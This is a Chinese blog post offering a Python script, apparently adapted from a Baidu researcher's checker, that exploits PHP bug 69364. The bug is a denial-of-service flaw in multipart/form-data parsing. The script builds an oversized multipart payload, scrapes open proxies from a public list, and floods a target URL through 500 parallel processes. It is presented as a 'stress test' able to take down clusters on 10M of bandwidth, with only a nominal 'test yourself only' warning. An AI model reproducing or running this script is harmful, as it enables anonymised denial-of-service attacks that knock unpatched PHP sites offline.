PHP 压力测试脚本 - 10M 带宽秒杀集群

时间:2016-3-2    作者:晨曦    分类:


由于我不会写 Python ,都是上 Google 现查的,代码可能有点捉鸡
利用 PHP 的漏洞 https://bugs.php.net/bug.php?id=69364
适用 PHP 版本:
PHP 5.6.9 以下版本
PHP 5.5.25 以下版本
PHP 5.4.41 以下版本
PHP 5.3 及所有以前的版本
将以下内容保存成 .py 文件,执行 python xxx.py -t "http://PHP页面网址" 请勿输入其他人的网站,Test yourself only
'''
Author: Shusheng Liu,The Department of Security Cloud, Baidu
email: liusscs@163.com

Multiprocessing and proxy
Author: typcn
Welcome to http://blog.eqoe.cn

WARNING: USE THIS TOOL AT YOUR OWN RISK
注意:此工具造成的任何后果由使用者自行承担
去掉此段注释以运行脚本,Remove this comment to run script

'''
import sys
import urllib,urllib2
import datetime
import re
import os
import threading
import time
import random   
from optparse import OptionParser
from multiprocessing import Pool

def check_php_multipartform_dos(url,post_body,headers,ip):
    proxy_handler = urllib2.ProxyHandler({"http" : ip})
    null_proxy_handler = urllib2.ProxyHandler({})
    opener = urllib2.build_opener(proxy_handler)
    urllib2.install_opener(opener)
    req = urllib2.Request(url)
    for key in headers.keys():
        req.add_header(key,headers[key])
    starttime = datetime.datetime.now();
    fd = urllib2.urlopen(req,post_body)
    html = fd.read()
    endtime = datetime.datetime.now()
    usetime=(endtime - starttime).seconds
    if(usetime > 5):
        result = url+" is vulnerable";
    else:
        if(usetime > 3):
            result = "need to check normal respond time"
    return [result,usetime]
#end

def get_stock_html(URL):
        opener = urllib2.build_opener(
                urllib2.HTTPRedirectHandler(),
                urllib2.HTTPHandler(debuglevel=0),
                )
        opener.addheaders = [
                ('User-agent',
                 'Mozilla/4.0 (compatible;MSIE 7.0;'
                 'Windows NT 5.1; .NET CLR 2.0.50727;'
                 '.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
                 ]
        url = "http://proxy.com.ru/%s"%URL
        response = opener.open(url)
        return ''.join(response.readlines())

def Getting_Url():
        global CC_Url
        file = open('url','r')
        CC_Url = file.readlines()
        file.close()

def Getting_list():
        global IP_Port
        IP_Port = []
        for html_list in re.findall('list_\d+.html',get_stock_html("list_1.html")):
                print "getting %s's IP:PORT"%html_list
                IP_Port += eval(re.sub('</td><td>',':',"%s"%re.findall('\d+.\d+.\d+.\d+<\/td><td>\d+',get_stock_html(html_list))))

def main():
    parser = OptionParser()
    parser.add_option("-t", "--target", action="store", 
                  dest="target", 
                  default=False, 
          type="string",
                  help="test target")
    (options, args) = parser.parse_args()
    target = options.target

    Num=350000
    headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
            'Accept-Encoding':'gzip, deflate',
            'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
    body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
    payload=""
    for i in range(0,Num):
        payload = payload + "a\n"
    body = body + payload;
    body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
    print "starting...";
    Getting_list()
    pool = Pool(500)
    for ip in IP_Port:
        pool.apply_async(check_php_multipartform_dos, [target,body,headers,ip])
    pool.close()
    pool.join()

if __name__=="__main__":
    main()